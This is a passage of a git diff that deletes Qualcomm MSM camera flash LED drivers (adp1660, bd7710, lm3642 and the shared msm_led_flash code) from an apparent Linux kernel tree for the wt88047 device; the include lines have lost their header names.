a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c +++ /dev/null @@ -1,212 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include -#include -#include "msm_led_flash.h" - -#define FLASH_NAME "qcom,led-flash" - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static struct msm_led_flash_ctrl_t fctrl; -static struct i2c_driver adp1660_i2c_driver; - -static struct msm_camera_i2c_reg_array adp1660_init_array[] = { - {0x01, 0x03}, - {0x02, 0x0F}, - {0x09, 0x28}, -}; - -static struct msm_camera_i2c_reg_array adp1660_off_array[] = { - {0x0f, 0x00}, -}; - -static struct msm_camera_i2c_reg_array adp1660_release_array[] = { - {0x0f, 0x00}, -}; - -static struct msm_camera_i2c_reg_array adp1660_low_array[] = { - {0x08, 0x04}, - {0x06, 0x1E}, - {0x01, 0xBD}, - {0x0f, 0x01}, -}; - -static struct msm_camera_i2c_reg_array adp1660_high_array[] = { - {0x02, 0x4F}, - {0x06, 0x3C}, - {0x09, 0x3C}, - {0x0f, 0x03}, - {0x01, 0xBB}, -}; - -static void __exit msm_flash_adp1660_i2c_remove(void) -{ - i2c_del_driver(&adp1660_i2c_driver); - return; -} - -static const struct of_device_id adp1660_trigger_dt_match[] = { - {.compatible = "qcom,led-flash", .data = &fctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, adp1660_trigger_dt_match); - -static const struct i2c_device_id flash_i2c_id[] = { - {"qcom,led-flash", (kernel_ulong_t)&fctrl}, - { } -}; - -static const struct i2c_device_id adp1660_i2c_id[] = { - {FLASH_NAME, (kernel_ulong_t)&fctrl}, - { } -}; - -static int msm_flash_adp1660_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - if (!id) { - pr_err("msm_flash_adp1660_i2c_probe: id is NULL"); - id = adp1660_i2c_id; - } - - return msm_flash_i2c_probe(client, id); -} - -static struct i2c_driver adp1660_i2c_driver = { - .id_table = adp1660_i2c_id, - .probe = msm_flash_adp1660_i2c_probe, - .remove = __exit_p(msm_flash_adp1660_i2c_remove), - .driver = { - .name = FLASH_NAME, - .owner = THIS_MODULE, - .of_match_table = adp1660_trigger_dt_match, - }, -}; - -static int msm_flash_adp1660_platform_probe(struct platform_device *pdev) -{ - const struct of_device_id *match; - match = of_match_device(adp1660_trigger_dt_match, &pdev->dev); - if (!match) - return -EFAULT; - return msm_flash_probe(pdev, match->data); -} - -static struct platform_driver adp1660_platform_driver = { - .probe = msm_flash_adp1660_platform_probe, - .driver = { - .name = "qcom,led-flash", - .owner = THIS_MODULE, - .of_match_table = adp1660_trigger_dt_match, - }, -}; - -static int __init msm_flash_adp1660_init_module(void) -{ - int32_t rc = 0; - rc = platform_driver_register(&adp1660_platform_driver); - if (!rc) - return rc; - pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&adp1660_i2c_driver); -} - -static void __exit msm_flash_adp1660_exit_module(void) -{ - if (fctrl.pdev) - platform_driver_unregister(&adp1660_platform_driver); - else - i2c_del_driver(&adp1660_i2c_driver); -} - -static struct msm_camera_i2c_client adp1660_i2c_client = { - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, -}; - -static struct msm_camera_i2c_reg_setting adp1660_init_setting = { - .reg_setting = adp1660_init_array, - .size = ARRAY_SIZE(adp1660_init_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting adp1660_off_setting = { - .reg_setting = adp1660_off_array, - .size = ARRAY_SIZE(adp1660_off_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting adp1660_release_setting = { - .reg_setting = adp1660_release_array, - .size = ARRAY_SIZE(adp1660_release_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting adp1660_low_setting = { - .reg_setting = adp1660_low_array, - .size = ARRAY_SIZE(adp1660_low_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting adp1660_high_setting = { - .reg_setting = adp1660_high_array, - .size = ARRAY_SIZE(adp1660_high_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_led_flash_reg_t adp1660_regs = { - .init_setting = &adp1660_init_setting, - .off_setting = &adp1660_off_setting, - .low_setting = &adp1660_low_setting, - .high_setting = &adp1660_high_setting, - .release_setting = &adp1660_release_setting, -}; - -static struct msm_flash_fn_t adp1660_func_tbl = { - .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, - .flash_led_config = msm_led_i2c_trigger_config, - .flash_led_init = msm_flash_led_init, - .flash_led_release = msm_flash_led_release, - .flash_led_off = msm_flash_led_off, - .flash_led_low = msm_flash_led_low, - .flash_led_high = msm_flash_led_high, -}; - -static struct msm_led_flash_ctrl_t fctrl = { - .flash_i2c_client = &adp1660_i2c_client, - .reg_setting = &adp1660_regs, - .func_tbl = &adp1660_func_tbl, -}; - -/*subsys_initcall(msm_flash_i2c_add_driver);*/ -module_init(msm_flash_adp1660_init_module); -module_exit(msm_flash_adp1660_exit_module); -MODULE_DESCRIPTION("adp1660 FLASH"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c deleted file mode 100644 index 4e18537f9bf70..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c +++ /dev/null @@ -1,209 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include -#include -#include "msm_led_flash.h" - -#define FLASH_NAME "rohm-flash,bd7710" - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static struct msm_led_flash_ctrl_t fctrl; -static struct i2c_driver bd7710_i2c_driver; - -static struct msm_camera_i2c_reg_array bd7710_init_array[] = { - {0x00, 0x10}, -}; - -static struct msm_camera_i2c_reg_array bd7710_off_array[] = { - {0x05, 0x00}, - {0x02, 0x00}, -}; - -static struct msm_camera_i2c_reg_array bd7710_release_array[] = { - {0x00, 0x00}, -}; - -static struct msm_camera_i2c_reg_array bd7710_low_array[] = { - {0x05, 0x25}, - {0x00, 0x38}, - {0x02, 0x40}, -}; - -static struct msm_camera_i2c_reg_array bd7710_high_array[] = { - {0x05, 0x25}, - {0x02, 0xBF}, -}; - -static void __exit msm_flash_bd7710_i2c_remove(void) -{ - i2c_del_driver(&bd7710_i2c_driver); - return; -} - -static const struct of_device_id bd7710_trigger_dt_match[] = { - {.compatible = "rohm-flash,bd7710", .data = &fctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, bd7710_trigger_dt_match); - -static const struct i2c_device_id flash_i2c_id[] = { - {"rohm-flash,bd7710", (kernel_ulong_t)&fctrl}, - { } -}; - -static const struct i2c_device_id bd7710_i2c_id[] = { - {FLASH_NAME, (kernel_ulong_t)&fctrl}, - { } -}; - -static int msm_flash_bd7710_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - if (!id) { - pr_err("msm_flash_bd7710_i2c_probe: id is NULL"); - id = bd7710_i2c_id; - } - - return msm_flash_i2c_probe(client, id); -} - -static struct i2c_driver bd7710_i2c_driver = { - .id_table = bd7710_i2c_id, - .probe = msm_flash_bd7710_i2c_probe, - .remove = __exit_p(msm_flash_bd7710_i2c_remove), - .driver = { - .name = FLASH_NAME, - .owner = THIS_MODULE, - .of_match_table = bd7710_trigger_dt_match, - }, -}; - -static int msm_flash_bd7710_platform_probe(struct platform_device *pdev) -{ - const struct of_device_id *match; - - match = of_match_device(bd7710_trigger_dt_match, &pdev->dev); - if (!match) - return -EFAULT; - return msm_flash_probe(pdev, match->data); -} - -static struct platform_driver bd7710_platform_driver = { - .probe = msm_flash_bd7710_platform_probe, - .driver = { - .name = "rohm-flash,bd7710", - .owner = THIS_MODULE, - .of_match_table = bd7710_trigger_dt_match, - }, -}; - -static int __init msm_flash_bd7710_init_module(void) -{ - int32_t rc = 0; - - rc = platform_driver_register(&bd7710_platform_driver); - if (!rc) - return rc; - pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&bd7710_i2c_driver); -} - -static void __exit msm_flash_bd7710_exit_module(void) -{ - if (fctrl.pdev) - platform_driver_unregister(&bd7710_platform_driver); - else - i2c_del_driver(&bd7710_i2c_driver); -} - -static struct msm_camera_i2c_client bd7710_i2c_client = { - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, -}; - -static struct msm_camera_i2c_reg_setting bd7710_init_setting = { - .reg_setting = bd7710_init_array, - .size = ARRAY_SIZE(bd7710_init_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting bd7710_off_setting = { - .reg_setting = bd7710_off_array, - .size = ARRAY_SIZE(bd7710_off_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting bd7710_release_setting = { - .reg_setting = bd7710_release_array, - .size = ARRAY_SIZE(bd7710_release_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting bd7710_low_setting = { - .reg_setting = bd7710_low_array, - .size = ARRAY_SIZE(bd7710_low_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting bd7710_high_setting = { - .reg_setting = bd7710_high_array, - .size = ARRAY_SIZE(bd7710_high_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_led_flash_reg_t bd7710_regs = { - .init_setting = &bd7710_init_setting, - .off_setting = &bd7710_off_setting, - .low_setting = &bd7710_low_setting, - .high_setting = &bd7710_high_setting, - .release_setting = &bd7710_release_setting, -}; - -static struct msm_flash_fn_t bd7710_func_tbl = { - .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, - .flash_led_config = msm_led_i2c_trigger_config, - .flash_led_init = msm_flash_led_init, - .flash_led_release = msm_flash_led_release, - .flash_led_off = msm_flash_led_off, - .flash_led_low = msm_flash_led_low, - .flash_led_high = msm_flash_led_high, -}; - -static struct msm_led_flash_ctrl_t fctrl = { - .flash_i2c_client = &bd7710_i2c_client, - .reg_setting = &bd7710_regs, - .func_tbl = &bd7710_func_tbl, -}; - -/*subsys_initcall(msm_flash_i2c_add_driver);*/ -module_init(msm_flash_bd7710_init_module); -module_exit(msm_flash_bd7710_exit_module); -MODULE_DESCRIPTION("bd7710 FLASH"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c deleted file mode 100755 index adfabc68b5448..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c +++ /dev/null @@ -1,398 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include -#include -#include -#include "msm_camera_io_util.h" -#include "msm_led_flash.h" - -#define FLASH_NAME "ti,lm3642" - -#define CONFIG_MSMB_CAMERA_DEBUG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define LM3642_DBG(fmt, args...) pr_err(fmt, ##args) -#else -#define LM3642_DBG(fmt, args...) -#endif - - -static struct msm_led_flash_ctrl_t fctrl; -static struct i2c_driver lm3642_i2c_driver; - -static struct msm_camera_i2c_reg_array lm3642_init_array[] = { - {0x0A, 0x00}, - {0x08, 0x07}, - {0x09, 0x19}, -}; - -static struct msm_camera_i2c_reg_array lm3642_off_array[] = { - {0x0A, 0x00}, -}; - -static struct msm_camera_i2c_reg_array lm3642_release_array[] = { - {0x0A, 0x00}, -}; - -static struct msm_camera_i2c_reg_array lm3642_low_array[] = { - {0x0A, 0x22}, -}; - -static struct msm_camera_i2c_reg_array lm3642_high_array[] = { - {0x0A, 0x23}, -}; - - -static const struct of_device_id lm3642_i2c_trigger_dt_match[] = { - {.compatible = "ti,lm3642"}, - {} -}; - -MODULE_DEVICE_TABLE(of, lm3642_i2c_trigger_dt_match); -static const struct i2c_device_id lm3642_i2c_id[] = { - {FLASH_NAME, (kernel_ulong_t)&fctrl}, - { } -}; - -static void msm_led_torch_brightness_set(struct led_classdev *led_cdev, - enum led_brightness value) -{ - if (value > LED_OFF) { - if(fctrl.func_tbl->flash_led_low) - fctrl.func_tbl->flash_led_low(&fctrl); - } else { - if(fctrl.func_tbl->flash_led_off) - fctrl.func_tbl->flash_led_off(&fctrl); - } -}; - -static struct led_classdev msm_torch_led = { - .name = "torch-light", - .brightness_set = msm_led_torch_brightness_set, - .brightness = LED_OFF, -}; - -static int32_t msm_lm3642_torch_create_classdev(struct device *dev , - void *data) -{ - int rc; - msm_led_torch_brightness_set(&msm_torch_led, LED_OFF); - rc = led_classdev_register(dev, &msm_torch_led); - if (rc) { - pr_err("Failed to register led dev. rc = %d\n", rc); - return rc; - } - - return 0; -}; - -int msm_flash_lm3642_led_init(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - LM3642_DBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_LOW); - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->init_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - return rc; -} - -int msm_flash_lm3642_led_release(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - LM3642_DBG("%s:%d called\n", __func__, __LINE__); - if (!fctrl) { - pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); - return -EINVAL; - } - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_LOW); - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->release_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - return 0; -} - -int msm_flash_lm3642_led_off(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - LM3642_DBG("%s:%d called\n", __func__, __LINE__); - - if (!fctrl) { - pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); - return -EINVAL; - } - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->off_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_LOW); - - return rc; -} - -int msm_flash_lm3642_led_low(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - LM3642_DBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_HIGH); - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->low_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - - return rc; -} - -int msm_flash_lm3642_led_high(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - LM3642_DBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - - power_info = &flashdata->power_info; - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_HIGH); - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->high_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - - return rc; -} -static int msm_flash_lm3642_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - int rc = 0 ; - LM3642_DBG("%s entry\n", __func__); - if (!id) { - pr_err("msm_flash_lm3642_i2c_probe: id is NULL"); - id = lm3642_i2c_id; - } - rc = msm_flash_i2c_probe(client, id); - - flashdata = fctrl.flashdata; - power_info = &flashdata->power_info; - - rc = msm_camera_request_gpio_table( - power_info->gpio_conf->cam_gpio_req_tbl, - power_info->gpio_conf->cam_gpio_req_tbl_size, 1); - if (rc < 0) { - pr_err("%s: request gpio failed\n", __func__); - return rc; - } - - if (fctrl.pinctrl_info.use_pinctrl == true) { - pr_err("%s:%d PC:: flash pins setting to active state", - __func__, __LINE__); - rc = pinctrl_select_state(fctrl.pinctrl_info.pinctrl, - fctrl.pinctrl_info.gpio_state_active); - if (rc) - pr_err("%s:%d cannot set pin to active state", - __func__, __LINE__); - } - - if (!rc) - msm_lm3642_torch_create_classdev(&(client->dev),NULL); - return rc; -} - -static int msm_flash_lm3642_i2c_remove(struct i2c_client *client) -{ - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - int rc = 0 ; - LM3642_DBG("%s entry\n", __func__); - flashdata = fctrl.flashdata; - power_info = &flashdata->power_info; - - rc = msm_camera_request_gpio_table( - power_info->gpio_conf->cam_gpio_req_tbl, - power_info->gpio_conf->cam_gpio_req_tbl_size, 0); - if (rc < 0) { - pr_err("%s: request gpio failed\n", __func__); - return rc; - } - - if (fctrl.pinctrl_info.use_pinctrl == true) { - rc = pinctrl_select_state(fctrl.pinctrl_info.pinctrl, - fctrl.pinctrl_info.gpio_state_suspend); - if (rc) - pr_err("%s:%d cannot set pin to suspend state", - __func__, __LINE__); - } - return rc; -} - - -static struct i2c_driver lm3642_i2c_driver = { - .id_table = lm3642_i2c_id, - .probe = msm_flash_lm3642_i2c_probe, - .remove = msm_flash_lm3642_i2c_remove, - .driver = { - .name = FLASH_NAME, - .owner = THIS_MODULE, - .of_match_table = lm3642_i2c_trigger_dt_match, - }, -}; - -static int __init msm_flash_lm3642_init(void) -{ - LM3642_DBG("%s entry\n", __func__); - return i2c_add_driver(&lm3642_i2c_driver); -} - -static void __exit msm_flash_lm3642_exit(void) -{ - LM3642_DBG("%s entry\n", __func__); - i2c_del_driver(&lm3642_i2c_driver); - return; -} - - -static struct msm_camera_i2c_client lm3642_i2c_client = { - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, -}; - -static struct msm_camera_i2c_reg_setting lm3642_init_setting = { - .reg_setting = lm3642_init_array, - .size = ARRAY_SIZE(lm3642_init_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting lm3642_off_setting = { - .reg_setting = lm3642_off_array, - .size = ARRAY_SIZE(lm3642_off_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting lm3642_release_setting = { - .reg_setting = lm3642_release_array, - .size = ARRAY_SIZE(lm3642_release_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting lm3642_low_setting = { - .reg_setting = lm3642_low_array, - .size = ARRAY_SIZE(lm3642_low_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_camera_i2c_reg_setting lm3642_high_setting = { - .reg_setting = lm3642_high_array, - .size = ARRAY_SIZE(lm3642_high_array), - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, - .data_type = MSM_CAMERA_I2C_BYTE_DATA, - .delay = 0, -}; - -static struct msm_led_flash_reg_t lm3642_regs = { - .init_setting = &lm3642_init_setting, - .off_setting = &lm3642_off_setting, - .low_setting = &lm3642_low_setting, - .high_setting = &lm3642_high_setting, - .release_setting = &lm3642_release_setting, -}; - -static struct msm_flash_fn_t lm3642_func_tbl = { - .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, - .flash_led_config = msm_led_i2c_trigger_config, - .flash_led_init = msm_flash_lm3642_led_init, - .flash_led_release = msm_flash_lm3642_led_release, - .flash_led_off = msm_flash_lm3642_led_off, - .flash_led_low = msm_flash_lm3642_led_low, - .flash_led_high = msm_flash_lm3642_led_high, -}; - -static struct msm_led_flash_ctrl_t fctrl = { - .flash_i2c_client = &lm3642_i2c_client, - .reg_setting = &lm3642_regs, - .func_tbl = &lm3642_func_tbl, -}; - -module_init(msm_flash_lm3642_init); -module_exit(msm_flash_lm3642_exit); -MODULE_DESCRIPTION("lm3642 FLASH"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c deleted file mode 100644 index 149d00cd8d362..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c +++ /dev/null @@ -1,120 +0,0 @@ -/* Copyright (c) 2009-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ - -#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ - -#include "msm_led_flash.h" - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static long msm_led_flash_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct msm_led_flash_ctrl_t *fctrl = NULL; - void __user *argp = (void __user *)arg; - if (!sd) { - pr_err("sd NULL\n"); - return -EINVAL; - } - fctrl = v4l2_get_subdevdata(sd); - if (!fctrl) { - pr_err("fctrl NULL\n"); - return -EINVAL; - } - switch (cmd) { - case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: - return fctrl->func_tbl->flash_get_subdev_id(fctrl, argp); - case VIDIOC_MSM_FLASH_LED_DATA_CFG: - return fctrl->func_tbl->flash_led_config(fctrl, argp); - case MSM_SD_SHUTDOWN: - *(int *)argp = MSM_CAMERA_LED_RELEASE; - return fctrl->func_tbl->flash_led_config(fctrl, argp); - default: - pr_err_ratelimited("invalid cmd %d\n", cmd); - return -ENOIOCTLCMD; - } -} - -static struct v4l2_subdev_core_ops msm_flash_subdev_core_ops = { - .ioctl = msm_led_flash_subdev_ioctl, -}; - -static struct v4l2_subdev_ops msm_flash_subdev_ops = { - .core = &msm_flash_subdev_core_ops, -}; - -static const struct v4l2_subdev_internal_ops msm_flash_internal_ops; - -int32_t msm_led_flash_create_v4lsubdev(struct platform_device *pdev, void *data) -{ - struct msm_led_flash_ctrl_t *fctrl = - (struct msm_led_flash_ctrl_t *)data; - CDBG("Enter\n"); - - if (!fctrl) { - pr_err("fctrl NULL\n"); - return -EINVAL; - } - - /* Initialize sub device */ - v4l2_subdev_init(&fctrl->msm_sd.sd, &msm_flash_subdev_ops); - v4l2_set_subdevdata(&fctrl->msm_sd.sd, fctrl); - - fctrl->pdev = pdev; - fctrl->msm_sd.sd.internal_ops = &msm_flash_internal_ops; - fctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(fctrl->msm_sd.sd.name, ARRAY_SIZE(fctrl->msm_sd.sd.name), - "msm_flash"); - media_entity_init(&fctrl->msm_sd.sd.entity, 0, NULL, 0); - fctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - fctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_LED_FLASH; - fctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x1; - msm_sd_register(&fctrl->msm_sd); - - CDBG("probe success\n"); - return 0; -} - -int32_t msm_led_i2c_flash_create_v4lsubdev(void *data) -{ - struct msm_led_flash_ctrl_t *fctrl = - (struct msm_led_flash_ctrl_t *)data; - CDBG("Enter\n"); - - if (!fctrl) { - pr_err("fctrl NULL\n"); - return -EINVAL; - } - - /* Initialize sub device */ - v4l2_subdev_init(&fctrl->msm_sd.sd, &msm_flash_subdev_ops); - v4l2_set_subdevdata(&fctrl->msm_sd.sd, fctrl); - - fctrl->msm_sd.sd.internal_ops = &msm_flash_internal_ops; - fctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(fctrl->msm_sd.sd.name, ARRAY_SIZE(fctrl->msm_sd.sd.name), - "msm_flash"); - media_entity_init(&fctrl->msm_sd.sd.entity, 0, NULL, 0); - fctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - fctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_LED_FLASH; - msm_sd_register(&fctrl->msm_sd); - - CDBG("probe success\n"); - return 0; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h deleted file mode 100644 index d9c836e4f42f6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h +++ /dev/null @@ -1,89 +0,0 @@ -/* Copyright (c) 2009-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#ifndef MSM_LED_FLASH_H -#define MSM_LED_FLASH_H - -#include -#include -#include -#include -#include -#include "msm_camera_i2c.h" -#include "msm_sd.h" - - -struct msm_led_flash_ctrl_t; - -struct msm_flash_fn_t { - int32_t (*flash_get_subdev_id)(struct msm_led_flash_ctrl_t *, void *); - int32_t 